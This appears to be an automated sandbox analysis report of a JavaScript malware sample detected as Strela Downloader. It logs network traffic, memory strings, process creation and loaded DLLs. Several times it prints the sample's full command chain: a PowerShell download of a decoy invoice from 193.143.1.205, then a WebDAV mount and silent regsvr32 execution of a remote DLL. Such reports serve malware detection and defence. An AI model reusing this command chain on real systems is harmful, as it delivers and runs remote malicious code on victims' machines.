Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1422426029.000001D7FEA1D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1423225125.000001D7FEF5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1423779606.000001D7FE9FB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1423110725.000001D7FEF55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1478920490.000002B9B8118000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478920490.000002B9B816F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478920490.000002B9B814C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1478920490.000002B9B814C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/#8w
Source: net.exe, 00000007.00000002.1478920490.000002B9B814C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/38g
Source: net.exe, 00000007.00000002.1478920490.000002B9B814C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S;
Source: net.exe, 00000007.00000002.1478920490.000002B9B814C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/c87
Source: net.exe, 00000007.00000002.1478920490.000002B9B8118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacey~y
Source: svchost.exe, 00000009.00000002.2717484889.0000011FE1E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1479775034.0000011FE1CC0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7444, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 207059547457320193.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7544:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5js5gech.gfc.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 207059547457320193.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\207059547457320193.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1644,i,16000377392054461285,756033616795107674,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1644,i,16000377392054461285,756033616795107674,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
